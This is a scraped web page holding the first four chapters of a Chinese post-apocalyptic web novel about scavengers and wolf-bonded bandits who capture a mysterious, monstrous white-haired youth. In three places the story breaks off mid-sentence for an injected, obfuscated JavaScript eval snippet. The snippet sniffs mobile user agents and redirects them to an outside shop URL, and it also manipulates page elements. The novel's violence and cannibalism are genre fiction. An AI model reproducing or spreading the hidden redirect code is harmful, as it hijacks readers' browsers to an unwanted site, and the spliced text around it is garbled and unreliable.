《被饲养的怪物美人》 1. 幽灵花 一辆破破烂烂的改装货车在铺满了碎石和白色土壤的荒野上颠簸着前行。车身上的漆已经被风沙和时间腐蚀得几乎辨认不出原本的颜色，只留下些许斑驳的锈迹以及裸露在外的钢架。 灰白的雪屑簌簌落下，在半空中打了个旋儿，飘进破了个大洞的车窗里，又辗转着落在副驾驶座上一个将自己裹得严严实实的少年肩上。 少年晃了晃身体，将肩上已经积起一小堆的“雪”抖落，不规则的雪片便散落成白沙一样的东西顺着他的动作掉了下去，在驾驶座下破破烂烂的毯子上形成一小片白色的沙地，一如窗外那看不见尽头的白色平原。 他身上的衣服肮脏破旧，脑袋上还戴着顶极为厚实的毡帽，上面沾着不少红褐色的污渍，散发出一股难闻的臭味，但他对此却像是毫无所觉，只是一边翻看着一本破破烂烂的红皮书，一边举着个破旧的导航仪为身旁开车的中年男人指路。 他手里的红皮书很厚，也很旧，看上去有点年头了，有点泛黄。 封面只有一片扎眼的红色，在最下方标注着一行小字：第947版·编纂自[探索者协会]。它的封皮和内页都是皮质的，似乎是因为被翻看得太过频繁，页脚都泛起些许油脂的光泽。 胡小满的脸几乎都埋在了书里，鼻子沉醉的嗅着皮质书页上的味道，又抬起头，翻开下一页，想再埋进去，但在距离那张纸页很近时视线突然聚焦在上面某张图片上。 那是一朵通体白色，叶片呈半透明的花。在那朵花下方有一行字作注释。 “幽灵花，别名水晶兰……白色平原西南区域常见的F级异种，无主动攻击性，花粉具有轻微麻痹致幻功效，常被用于制药。”胡小满念出那行字，扭头看向窗外，“说起来，这地方怎么光秃秃的，连朵幽灵花都见不着。” 一旁正在专心开车的男人闻言也看了看前方，“还真的一朵都没有。不应该啊……这里离花海的位置很近，附近应该是长了挺多的，不可能一朵也没有，是不是被其他拾荒者都给摘了卖给医疗部了？” 毕竟这种F级异种危险性不高，稍作处理就能作为麻药使用，在基地里售卖的价格虽然很低廉，但多少也能换点口粮钱，是103号锚点基地的拾荒者在荒原上没有更好的收获时经常会采摘回去的一种植物异种。 “真奇怪。”胡小满从车窗处探出头查看了下周围的情况，紧接着又快速缩回身子，使劲晃了晃手里的导航仪，看着上面冒出一连串的感叹号，忍不住问起旁边驾驶座上的中年男人，“老蒋，你这导航仪是不是坏了？” “怎么可能！这玩意可是我刚从周老三那儿花了五块菌肉买来的……”老蒋一把夺过他手里的导航仪，看到上面代表他们车子的红点仍然在闪烁，这才放下些心，“这不是好好的么！” “不是老蒋，你再仔细瞅瞅，这位置不对啊！”胡小满挤过去，戳了戳导航仪上方标示的坐标，又指向窗外，“坐标显示这里已经是A级禁区‘花海’的地盘了，可是这边啥也没有哇！” 听到胡小满这话，老蒋这才又看了眼导航仪上的坐标，在看到导航仪上方标示的红色感叹号时不由得倒吸了口气，赶忙给车掉了个头，顺手一个巴掌呼到了胡小满脑门上，“个臭小子！让你在旁边指路你丫倒好，给老子指阎王路是吧！都开进禁区了你咋都不提醒我一句！是嫌咱俩命太长是不是！” “哎呦！”胡小满没来得及避开，被这一巴掌扇得脑瓜子嗡嗡作响，他有些委屈的嘟囔：“这怪不了我啊！这地方跟之前不一样，你瞧……” 他将本就碎了大半的车窗又掰掉一大块，抬手指向外边一望无际的白色平原。 这里的一切都是灰白色的，雪从厚重的云层中簌簌落下，融入同样颜色的泥土中，一时间让人分不清哪里是土地，哪里是积雪。 老蒋顺着他指的方向看去，才意识到眼前这片白色平原上空无一物，没有‘花海’，没有危险的异种，没有可怕的异变植物，那里什么也没有。 A级禁区[幽灵花海]的位置距离103号锚点基地并不远，往来于基地的探险者与在基地间进行贸易的走货人都遥遥看到过它的存在，它几乎已经成了荒原上一个著名的地标。 作为在103号锚点基地土生土长的居民，老蒋也从小就对这个神秘禁区的传闻耳濡目染，听闻在异变潮尚未发生的旧时代，这里的气候其实更接近热带雨林，到处都是茂密的植被，昆虫与各种动物穿梭其中。后来在异变潮发生后，由于雨林中有太多的植物发生了异变，导致那里几乎成了植物类异种的天堂，也成为了所有人避之不及的S级禁区[魔鬼雨林]。 可是后来，一种名为幽灵花的小型异种却突然出现在这片危机重重的魔鬼雨林中，并迅速在异种们从未停歇的生存竞赛中取得了绝对性胜利，它们将其他异种作为自己的养料，漫山遍野的白色小花没过多久便覆盖了整片雨林，曾经的S级禁区[魔鬼雨林]也由此演变成了现在的[幽灵花海]。 只不过花海与[魔鬼雨林]不同，虽然因为大量聚集导致这片区域充满了致幻麻痹、会诱使生物主动成为它们养分的毒/粉，但只要不进去它也不会主动扩张攻击周边的生物，也就被核心母城降级划定为A级禁区，与附近的103号锚点基地和谐共处于这片土地的西南区域。 可现在，那片占地足有几百公顷的花海却突然消失不见了。 那么大一片花海怎么可能会在一夜之间突然消失呢？果然是导航仪出问题了吧。 老蒋犹疑着也跟胡小满一样晃了晃那个老旧的导航仪，然而再次看时坐标仍然显示他们正处于禁区中，他恶狠狠地啐了一口，将导航仪随手丢到了后座，“该死的周老三！五块菌肉就卖我这么个破烂玩意！回去我非得去找他好好算一账！” 他一扭方向盘，货车便又摇摇晃晃的掉头回去继续往前开。 “真的是什么也没有啊……”胡小满透过早已碎裂的车窗往外看去，目光所及之处没有任何生命的迹象，“这里荒得连根草都没有。” “你要庆幸你连根草都看不见。”作为往来于各个基地之间走货的老司机，老蒋显然对这片白色平原要比胡小满熟悉得多，他嗤笑道：“真要见着到处都是花花草草的，那才吓人。” 听到这话，胡小满有些不明所以，“怎么说？” “哼！要不我说你们这些天天躲在基地里的小崽子没见识。”老蒋一边开着车，一边跟他解释，“这里能生存下来的植物可不比基地里那些没有异变基因的作物。在荒原上，植物类的异种可比兽类异种吓人多了，花花草草长得越繁盛的地方，也就意味着它底下藏着的尸体就越多，尤其是那些长得很漂亮的花，看见了可千万别靠近，见到就赶紧跑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486702|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多远跑多——”他刚想继续说些什么，突然眉头一拧，猛地踩了下刹车。 车轮碾过崎岖的路面，发出一阵阵刺耳的摩擦声，灰白色的尘土和雪屑纷纷扬起，那辆破旧货车随之横停在平原上。 胡小满被这突如其来的状况差点颠飞出去，等稳住身体后连忙将掉下来的毡帽再次牢牢盖在自己头上，慌慌张张道：“怎么了？！前面有异种？” 老蒋极其老练的伏下头，悄悄将背在身后的枪挪到身前，随后缓缓将视线上移，眯起眼仔细打量着那前方不远处的身影，在辨认出对方的身形后才松出一口气，重新坐直了身体，悄悄抹掉额头上冒出的冷汗，“有人。” 人？为什么人会出现在这里？是和他们一样的拾荒者，还是走货人？ 胡小满顺着他的目光往那个方向看去，就见在前方荒芜的白色山丘上，一个身穿单薄白衫的人正站在前方。由于与他们隔着一段距离，并不能看清他具体长什么模样，只能从对方修长瘦削的身形上判断出应该是个年轻男性。 薄薄一层沙雪覆盖在他身上，看来应该在这里站了没多久。 他原本一动不动，但在听到那声刺耳的刹车声后微微侧过了头，看向货车所在的方向。 沙雪簌簌从他身上落下，风吹拂着他的衣襟，抚过他苍白无血色的脸颊，带起几缕银白色的发丝，看起来无害而温和，甚至有些孱弱。 厚重阴沉的云层恰在此时掀开一角，久违的阳光透过缝隙慷慨的倾洒下几缕，将他身周镀上一层浅金色的边光，让他看起来就像是一尊被遗留在此地的华美雕像。 车里的胡小满和老蒋在看到这一幕后都是怔愣了好一会。 眼前的人……太干净，也太漂亮了。 在荒原上讨生活的人大都风餐露宿，十天半个月都洗不了一次澡，皮肤粗糙黝黑，身上也总是沾着血污，臭烘烘的。而那人皮肤白皙，身上看不出任何伤痕和被泥垢沾染到的地方，甚至隔着好一段距离，他们都能闻到空气中被风传过来的那股浅淡、却异常好闻的清香。 “……搞什么，就只是个人啊。老蒋你这一惊一乍的吓死我了！”胡小满过了好一会才缓过神，摸摸胸口吐出一口气。 “是人。”在看到对方是人以后，老蒋也总算是松开紧握着抢的手，活动了下紧绷的臂膀。他下意识舔了舔嘴角，“……还是个白白嫩嫩很干净的人。” 在荒原上遇到一朵异常漂亮的花是件非常可怕的事，但如果只是个漂亮的人……那就另当别论了。 ———————————————— 【红皮书】当前已解锁词条： [禁区]：变异生物较多出没的危险区域，危险程度分为S、A、B、C、D、F六个级别。 [幽灵花]：别名水晶兰。白色平原西南区域上较为常见的F级腐生异种，无主动攻击性，花粉具有轻微麻痹功效，常被用于制药。具有轻微毒性，需要经过医疗部特殊处理才可使用。 [幽灵花海]：由F级异种[幽灵花]大量聚集形成的花海，位于白色平原西南区域。由于大量[幽灵花]聚集，导致这个区域漂浮着大量具有麻痹致幻作用的花粉，被核心母城标记为A级禁区。 [菌肉]：103号锚点基地的特产作物。经过特殊处理后的纯白环菇，可食用，口味清淡，饱食感强。 2. 食饵 荒原上的异种即便是同一物种，也都可能会进化出不同的能力，每一次交锋都像是在开生死盲盒，在杀死对方后或者被对方杀死前，你永远无法提前判断出对手是只有F级危险性的初生异种还是S级的“死神”异种。 但如果遇到的是人……那就没什么事了。 人是荒原上食物链的最底端，是所有异种都爱吃的一款高蛋白口粮。他们数量多，体内储备的养分也多，能进化出自保能力的寥寥无几，无毒且美味。 也就个别能与异种结成共生链的引导人有点难搞定，但那些引导人极其稀少，大都常年坐镇于各个锚点基地中心，很少会平白无故出现在荒原上。而其他那些没有能力的人就像是旧时代的人类用以喂养爬宠的面包虫，唯一的价值就是活着，然后在某一天成为加餐，让异种们大快朵颐一顿。 在确认那只是个落单的人以后，老蒋朝胡小满打了个手势，两人心有灵犀的对视了一眼，随后把自己的毡帽又往下拉了些，将脖子上挂着的面罩往上拉盖住嘴巴，跳下货车举着枪朝那人小心翼翼的走了过去。 虽然对方只是个没什么危险性的人类，但在如今异种越来越泛滥的情况下仍然能安然无恙的独自出现在白色平原上，多多少少有些古怪。 “老蒋，这人看上去有点可疑……”胡小满犹豫着扯了扯老蒋的袖子，“他这样子是怎么在荒原上活到现在的？周围也没车……” 老蒋也觉得有点古怪，他摘下面罩，凑近青年身边使劲嗅了嗅，“确实是人没错。可能是太弱了被遗弃在这的吧，正好被我们捡漏。” “可是……”胡小满看着眼睛微微发红的老蒋，心中不知为何有点忐忑起来，总觉得眼前这个人虽然看起来没什么攻击力，却有种异常古怪的吸引力，引诱着他们急切地想要去靠近。而且为什么……那人在看到他们接近时也仍然一动不动，就只是安静的站在那里？ “只是一个人而已。”老蒋见到他犹豫着不敢上前的模样，忍不住嘲笑起来，“难不成你还会怕人？” 胡小满原本还有些警惕，但这句话显然激起了他的胜负心，“谁会怕人啊！我这就把这人带回巢……带回基地里！” 他赌气似的越过老蒋，小跑着来到那一动不动的男人面前，直接问他：“喂！你怎么一个人呆在这？” 那人却像是听不懂他的话，只是微微侧过头，微笑着看向胡小满。 笑得温温柔柔的，懵懂又漂亮。 离得越近，就越觉得对方好看到有些不可思议。皮肤光滑得像是精致的白瓷，瞳孔跟白化兔异种似得，有种摄人心魄的美，连微笑时嘴角的弧度都弯得恰到好处，仿佛是件精心雕琢而成的艺术品，完美得毫无破绽。胡小满怔怔的看着眼前的人，原本的警惕也恍惚间烟消云散，即将脱口而出的质问在嘴边盘旋了几圈，结结巴巴的变成了，“你……你是走散了吗？要不……要不搭我们的车……一起回基地？” 对方没有回应他的话。 胡小满几次尝试与他沟通，但他始终都只是微笑着，不说话，也不动。 “或许是路上被幽灵花麻痹了的食饵吧。”老蒋嗅了嗅空气中淡淡的花香，又瞅了眼那无动于衷的微笑木头人，“荒原上时常会有这样的食饵，一些人会在被花粉麻痹后丧失神志，就这么傻乎乎的站在花丛里，作为食饵吸引更多的食肉异种前来。” “那他还有救么？” 老蒋摇摇头，“成了食饵的人脑子里都已经被花粉泡成棉花糖了，也就只能维持活着这一状态，完全没自己的思维能力，也没得治了。” “可惜了。”这么漂亮，却是个智力障碍的傻子。胡小满有些惋惜的看着对方那张漂亮的脸，“这么白白嫩嫩的……如果带回去给……” 老蒋制止他继续说下去的话，左右看了看，“可是有一点很奇怪。食饵一般都是在花丛里，这样才能吸引食肉异种进入它们的地盘从而获取更多养料，但是这里……一朵花也没有啊？” “不管了！”胡小满直接走到男人面前，将他背到自己身上，“反正这次出来我们一点收获也没有，就拿这个先回去交下差吧！” “也是。”老蒋点点头。如果这次还是什么收获也没有，分配下来的菌肉也会减少，接下来的冬天可就难熬了，“总之把他先拖回去吧，好歹是个人。” 那漂亮青年任由两人大声密谋着自己未来的去处，随后被胡小满半拖半拽着推进了破破烂烂的货车里。 将那青年暂时安顿在后座上后，老蒋启动发动机，小货车再次晃晃悠悠的行驶在白色平原上，车轮在灰白的积雪上留下两行深深的辙痕。 胡小满扭头看了眼后座上的男人，明知道对方不会回应，但还是鬼使神差的朝他问了句：“喂！你叫什么名字啊？我叫胡小满，是103号锚点基地的居民！” 然而这次，青年并没有微笑着忽视他的话，也不知道是不是胡小满的错觉，他觉得对方的嘴角似乎更往上提了些，原本温和的笑容因为嘴角的过度上扬而显得有些诡异。然而当他定了定神再次看向对方时，却又看不出有什么异常了，仿佛刚才那一幕就只是幻觉。 青年微微偏过头，原先没有焦点的视线落在胡小满身上，过了好一会，才慢悠悠的吐出两个字：“华音。” 那声音轻柔，缓慢，极其悦耳动听。细细柔柔的，如荒原上三四月的春风，撩拨在胡小满的心口，带来一阵阵麻痒的感觉。 只是简短的两个字节，却是胡小满这辈子听过的最好听的声音。他恍然间觉得，自己的大脑好像也因为这声音被泡成了一团软软的棉花糖，飘飘然的……只想贪婪地听他说更多话，完全无法思考其他的事情了。 但这种恍惚并没能持续太久，没过多久，小货车似乎是撞上了什么东西，车身一歪，胡小满也顺着磕在车窗边框上。脑袋还未来得及泡成棉花糖，就差点被撞开了瓢。 未及货车前座的两人反应过来，一张铁网从天而降，转瞬间便将整个货车网住动弹不得。 老蒋见状大声咒骂道：“该死！是流匪！” 他下意识想要加大马力冲出铁网的桎梏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486703|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但紧接着一声枪响，子弹划破车窗精准的击中在他的右臂上，鲜血飞溅，老蒋惨叫了一声，往后仰去。 与此同时，一只巨大的白狼跳到车头上，透过前方的车窗朝老蒋呲着牙。那是只雪狼异种，通体白色，身上长着坚硬的蓝色不规则晶体，看体型起码得是D级，在看到那只雪狼后，老蒋立马放弃了与流匪殊死搏斗的心。 如果这些流匪只是人那没什么好怕的，真拼起命打起来谁死谁活还不一定，但眼前这只雪狼异种明显和流匪是一伙的，这也就意味着这个流匪团队中肯定有共生体与引导人存在。 “不想死就别乱动！”几个男人从前方的雪堆里涌出来，举着枪朝货车内的人喊道。他们身边基本都跟着一只荒原上常见的雪狼异种。 好家伙，甚至不只有一对共生体和引导人。胡小满见状立刻拉着老蒋的手战战兢兢的举起来表示投降。 流匪基本都是一些在荒原上靠劫掠走货人和拾荒者维生的人，他们穷凶极恶，可不像城里人那样讲秩序，杀人将人肉当储备粮都是常有的事，现在反抗只会加速自己成为口粮的速度，尽快投降交出物资或许还能有一线生机。更何况这个流匪团队拥有异种共生体，数量还这么多，恐怕连基地里的执行者小队都不一定会是其对手。 其中两个流匪用枪指着前座的老蒋和胡小满脑袋，把他们拽了出来，其他人则熟练的搜寻起车上的物资。 为首的流匪头子仇毅喊了声“埃尔法”，那在车头上的巨型白狼便抖了抖身上的沙雪，跳回到他身边。它的个头比旁边其他雪狼大了两三倍，应该是这支雪狼群的头狼。 原本以为这货车上就前方那两个走货人，仇毅在走近货车检查时才发现后座阴影处还有一个人。 那人一直没什么声音，一双狭长的眼睛半阖着，细密的睫毛将眼下投出一小块阴影，他安安静静的坐在角落里，似乎对外面发生了什么漠不关心。 …… ———————————— 【红皮书】当前已解锁词条： [食饵]：部分植物异种会布置诱饵，吸引食肉动物接近，从而捕获其他生物作为自己的养料。 [共生体]：有生命但是无自我意识或自我意识微弱的变异动物，植物，菌类，以及极少数无生命体征的畸变物。与引导人连接精神链后获得意识认知，能拟态成人形或半人形，能与引导人交流，极少数引导人精神力比较强的可以引导共生体变得跟人差不多，可以说话沟通，拥有人的认知，甚至与人无异。 [引导人]：通过精神链引导或驯化共生体。自我意识越强控制能力越强，太弱的话容易被共生体的本能反向侵蚀或吞噬，变成失去意识的异种。 本身无异能，相比共生体非常脆弱易死，通过连接精神链来获得共生体的保护以及部分能力，获得的能力强大与否取决于共生体本身的能力以及它愿意给予引导人多少。 *注：与共生体连接后的引导人严格来说并不能算作是人类，会与人类产生生殖隔离，会失去繁育能力。 3. 共生体 “好东西原来藏在这里。”仇毅一拳砸开车窗，高大的身躯将整个车门堵得严严实实，防止到手的猎物逃跑。 出乎他意料，他这次的猎物异常乖巧，不吵也不闹，完全没有要逃的意思。 作为一个在平原上靠劫掠生存的凶悍流匪，仇毅见过太多人被劫掠时的反应了。求饶的、反抗的、顺从的，什么样的都有，却唯独没见过眼前这样的人，他似乎对自己的安危完全不在意，甚至还偏过头，朝仇毅露出一个优雅腼腆的笑容。 仇毅愣了下，原先想粗暴的扯住对方头发将他从车里拖出来的手顿了顿，偏移了方向，落在他的肩上。 粗糙布满疤痕的大手在那片光滑细腻的皮肤上摩挲着。 这片荒原上经年下雪，虽然沙雪并不能算是常规意义上的雪，但这里气温也算不上温暖。那白发青年就穿着一件单薄的白衫，领口还开得有点大，露出小半边肩膀。裸/露出的皮肤细嫩光滑，似乎轻轻捏一下就会泛起红。 想到这里，仇毅下意识用点力捏了一下。果然，那白皙的皮肤上很快就出现了一道红痕，这让他顿时感觉有些口干舌燥，下手的力气也愈加重了些。 ……穿成这样，故意勾引人的吧？ “疼。”那人委委屈屈的出声，抬眼看向眼前的陌生男人。眉毛微微蹙起，声音柔软，带着些许鼻音，像是在跟他撒娇，他又微笑着重复了一遍，“很疼。” 原本仇毅还有点怀疑这样的人是怎么会出现在荒原上的，在观察到对方这些明显与拾荒者不同的反应后，心下隐约有了些龌龊的猜想，忍不住吹了声口哨，“这还真是捡着好东西了。” 仇毅收回手，沉醉的嗅了嗅指尖残留的香味，随后直起身，朝其他同伴做了个手势，“都带回去！” “那里面那人呢？要一起捆后边不？”见老大没有把车里的人拽出来跟之前那两个崽子一样捆住拖在车后，其中一个流匪询问道。 “捆什么捆！擦破皮了怎么办！”仇毅恶狠狠地踹了小弟一脚，“就那细皮嫩肉的样子，跑也跑不了，就让他坐车里，连车一起捎回去！” …… —————————— 华音望着车外的景色不断变换。 小货车被雪狼群拖着一路往前，不知道过了多久，车窗外那片白茫茫的白色平原逐渐下沉，变成了一个阴暗的洞窟。不时有几只雪狼不怀好意的靠近他所在的小货车，又被为首的头狼和坐在狼背上的男人撵开。 得意洋洋，像是在守卫自己的战利品。 华音收回视线，伸出手，张开，握了握拳，又张开。他懵懵懂懂的……感觉自己似乎是忘记了什么重要的事，但怎么也想不起来那件事是什么。 这种感觉并不好受。就好像自己的心脏上无端生出了一条锁链，而另一端隐没在黑暗中，他只能跟着牵引走，但无论怎么走，始终都看不清黑暗中锁链的另一端系着什么。 他不知道自己是谁，从哪里来，又要往哪里去。从他睁开眼时，眼前就只有那片空无一物的白色平原。就连名字都是随意从自己脑中划过的几个字里随意找了两个拼凑起来的。之所以会这么随意的取个名字，只因为在那时，一个声音曾告诉自己该这么做。 [在别人询问你的名字时，你要立刻回答，不能犹豫，犹豫就会被怀疑。] 在那少年询问自己的名字的时候，一个声音突兀的响起。那声音很近，几乎就在贴他耳边，可当时他身边就只有前座上那两个人。 这不是第一次出现这个声音了。 在华音还没有长成现在这个模样的时候，他就时常会听到这个声音。而诡异的是……这声音与他自己的几乎一模一样。 就好像另一个自己在身边指导着他该说什么，该做什么。 这世上有太多他不懂的事了。在他的意识尚未成型的时候，他就只喜欢吸收底下腐烂的植被和尸体，偶尔吃点误入此地的加餐。而后来，他开始听到一些奇奇怪怪的声音，会思考一些越来越复杂的问题，问题总是积累得越来越多，可这里没有生物能回答他的问题，地下的储备粮也都告罄，于是他开始想着要离开这里，去寻找能解答这些问题的地方，寻找新的食物。 而后一辆破破烂烂的小货车进入视野，在他面前停下，从车里出来两个人，对着自己叽里咕噜说了些什么，随后就将自己带进了车里，似乎要带自己去什么地方。之后又来了十几个人，挟持着之前的那两人，将他们一起带进了一个昏暗的地洞中。 华音不明白这些人是在做什么，他很少接触活的人。 人类总是难以理解的，他们没有根系，到处乱跑，总是会莫名其妙的冒出来，然后又莫名其妙的死掉。 死掉的人很好。 他们会慢慢腐烂，成为养料，来供养他长得更好。 被带来的这个地下洞窟脱离了原先他生长的区域，远离自己熟悉的地方让华音感觉有些许不安，但他还是决定顺着那些人来到了山洞，毕竟太久没有进食，他很饿了。 而这里有很多人……也会有很多新的养料。 或许，他也可以从这些人身上获得一些他想要知道的答案。 …… —————————— 仇毅指挥着手下的小弟们将新的战利品拖进地洞中。 这个地下洞窟出口处是斜着连接在地面上的，很宽阔，大卡车也能开进来。在门口处有块巨大的铁板，在遇到危险时可以将它放下，再铺上沙雪，看起来就只会是一个普通的雪丘，隐蔽性很好。他们在这里扎营居住了几年，几乎没遇到过什么危险的异种入侵。 仇毅听说这个地洞曾是旧时代一种名为停车库的地下建筑，后来异变潮发生后坍塌了大部分，但还有一小块空间仍然完好，仇毅发现了这个地方，便将这个地洞稍作修缮作为自己的大本营。 地洞两边摆满了铁笼，大多已经空了，只剩下斑驳的血迹与零碎的糊状物，小部分笼子里关着捕获的人，也有异种。 荒原上的异种并不全都是强大无法战胜的，也会有许多低级异种，这类异种也能作为口粮，或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486704|202052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝试将它们收为共生体供自己人来驱使。 仇毅自己就有一只共生体，是只雪狼。 那只雪狼曾是它们狼群中的头狼，后来因为年迈被新狼王驱逐出狼群，在濒死时遇到了当时还是拾荒者的仇毅，因缘巧合下两者产生共鸣结成共生链，老狼王得到了寿命和旺盛的生命力，咬死了新狼王，夺回了自己的狼群，而仇毅也因此获得了雪狼异种的力量，从此不再饥一顿饱一顿，不必在荒原上靠扒死尸勉强过活。 但仅靠一人一狼还是很难在这片荒原上生存，于是仇毅与老狼王达成共识，将自己人与老狼王麾下的狼群尝试结成共生链，开始扩张自己的团队。 但雪狼与人类结成共生链的成功率并不高，大部分人类都成为了雪狼口中的美餐，哪怕是在老狼王的帮助下，成功的也不过寥寥几人。即便如此，倚仗着这几只共生体的强大实力，这个名为“狼烟”的流匪群也迅速壮大成为了能在这片危险的白色平原西南方上行动自如的强大匪窟。 这次仇毅等人出行捕获的不仅有胡小满一行人，还另外有一支运货团。相比那支大型运货团，小货车不过是他们完成狩猎准备回家的路上随手捉来的一个饭后甜点。 如今的世道，基地与基地之间都被白色平原与各种危险异种隔离开，想要互通消息与物资并不是件容易的事，建立交通枢纽也不容易，仅能通过往来的走货人和运货团来冒着生命危险进行流动交换，这一行利润高，危险性也高，因此大型运货团队会在各个基地的执行者协会中雇佣引导人来保驾护航。 这支运货团有三十余人，携带的货物足有二十辆大型卡车，更是花大价钱雇佣了97号锚点基地里一位B级执行者携行，可不幸的是在即将到达目的地前……他们遭遇了“狼烟”这个臭名昭著的流匪团。 单轮实力那位执行者拥有的共生体B级瞪羚异种远在D级异种雪狼之上，可它的能力更偏向于辅助，与精通狩猎并群体行动的雪狼异种群对上也只能勉强应战，在与狼群耗了五天后还是被雪狼群围猎负伤，连同整支队伍被带进了地下匪窟。 在被带进地下洞窟后，小货车和那二十辆大卡车上的东西都被扫荡一空，车上的人也都关进了笼子里。“狼烟”这次狩猎收获颇丰，捕获的人很多，笼子都不太够用，华音和那个B级执行者被一起关进了一个相对干净些的小铁笼里。 华音看了看脚边那蜷缩成一团的人，那是个年轻男性，看上去年纪还很小，他的身上多处被撕咬的伤痕，一只腿被还折断了，脚踝处露出一段森白的骨头。他看上去似乎很疼，嘴唇发白，浑身颤抖着，怀里紧紧抱着一只同样伤痕累累的羚羊。 那只羚羊看上去还未成年，头上的角都只冒了个尖，或许是因为体型不大一直被青年抱在怀里护着的缘故，受到的伤没青年那么严重，一直焦急的用嘴巴拱着青年的脸，生怕他一睡不醒。在几次尝试叫醒青年都没成功后，小羚羊将求助的目光投向一旁的华音。 “你求我也没有用……”华音有些无奈的摊了摊手，“我又不会治病。” 4. 引导人 华音不喜欢这类瞪羚异种。 它们是食草动物，经常会把他的小伙伴吃掉，而且一吃就是一大片，想要重新再长回去又得消耗很多能量。对他而言，这只羚羊和它的人类一起死掉反而是件好事。 他已经很久没有进食了，现在还很虚弱，正是需要汲取营养努力生长的阶段，这一人一羊简直就是送到嘴边的美食。 [你是人。人是同伴，不是食物。] 那个声音再次响起。 好吧、好吧。每次在他想要尝尝鲜的时候总会冒出来这个扫兴的声音。他已经习惯了。 华音想了想，将那少年的头枕在自己腿上，口中哼着不知名的安眠曲，又伸出手轻轻摸了摸他的额发，他的头发发梢微微卷曲，蓬松柔软。 随着他的抚摸，少年的呼吸逐渐平稳下来。过了一会，或许是华音的安抚起了点作用，少年因疼痛颤抖着的身体放松了些，他睁开眼，一眼便看到正垂眸看着他的漂亮青年。 对方就像是不该出现在这个混乱世界的人，恍然间让他有种自己是不是已经死了，现在已经升天见到天使了的错觉。但随即脚上传来的剧痛让他意识到自己还好好地活在这个地狱般的人间。 在怔愣了一会后，那少年立刻抓了把脚边的土想要抹到华音的脸上，但在即将触碰到他的脸时又停了下来，将手收了回去。 华音对他的举动有些莫名其妙，自己好心帮他，他竟然还想拿土丢自己脸上，真是恩将仇报。 “现在遮掩恐怕也晚了，他们应该都看到过你的样子了。”少年颓然叹了口气，“你不应该这样不做一点伪装就出来的，这些流匪什么事都做得出来……” 华音不明所以，茫然地看着他，“什么事？” “看来你的锚点基地将你保护的很好。”少年眼神复杂的看了他一眼，随后低头检查起怀里小羚羊的伤势，没有直接回答他的问题，转而问他，“我是来自86号锚点基地的林岚，你叫什么？” “华音。”锚点基地又是什么？华音感觉自从自己醒过来以后真是没一件事是能搞明白的。他本想追问下，又有点担心自己表现得过于无知有点掉面子，最终还是没问出口，只是转移视线看向笼子外。 由于这次狩猎成果过于丰厚，流匪们已经开始了今夜的庆功宴，欢呼着吵嚷成一团，酒筹交错，非常热闹。 几颗头颅被随意的丢在桌上，里面装着红色的酒液。桌上还有很多奇形怪状的食物，大概就是一些可食用的异种胡乱煮熟了。华音注意到这些“食物”中还有很多明显是人类肢体的一部分。 “人是同伴，那为什么他们会杀人，还吃人？”在看到这一幕时，华音对自己经常会听到的那个声音产生了质疑，忍不住询问出声。 那声音没有回答他。倒是一旁的林岚以为他是在问自己，解答了他的疑问，“人也并不全都是同伴。这些所谓的人，已经是‘异种’的一部分了。你看到他们身边的狼了吗？” 华音看向那些正在狂欢的人身旁的雪狼，它们仍然冷静的巡视着周围，对于这群流匪的庆祝毫无兴趣，那只头狼朝最上位的仇毅叫了一声，仇毅便将一串钥匙递给其中一个小弟，让那人打开笼子。 笼子一经打开，里面的三个俘虏就立刻朝着门口拼命狂奔，但随即就被几只小狼崽练习狩猎一样追上去扑倒，咬住脖子，拖回到了餐桌旁。 一阵欢呼声响起，身为同类的“人”非但不觉得可怕，反倒为那几只狼崽喝彩。 猎物被咬断了喉咙，鲜血从门口一路蔓延到了桌前，狼群与匪群享用起各自的晚餐。 林岚朝那群野兽抬了抬下巴，问华音，“你觉得他们之间，谁是主人？” 华音没有回答他的问题，反而看了眼他一直抱在怀里的小羚羊，问林岚：“那你是这只小羚羊的主人吗？” 林岚愣了愣，看向怀里的小羊。它在之前的消耗战中也受到了不小的伤，之前林岚昏迷时一直紧绷着想要叫醒他，但在看到林岚恢复了些精神后再也支撑不住，在他怀里昏睡了过去。 他怜爱的摸了摸小羚羊的被毛，“不是。它是我独一无二的伙伴。” 华音看着他，只觉得这个世界真是稀奇又古怪。人将异种当成同伴，却视同类为敌人。 …… 酒过半巡，一个光头流匪醉醺醺的扫视着铁笼里的战利品，在扫到华音和林岚所在的铁笼时，摔开手中的酒杯，不怀好意的朝笼子走去。 林岚下意识将华音挡在身后。在他看来，那个瘦弱青年看起来实在是比现在受伤的自己还要弱，作为执行者，保护城民几乎已经成了他的本能。 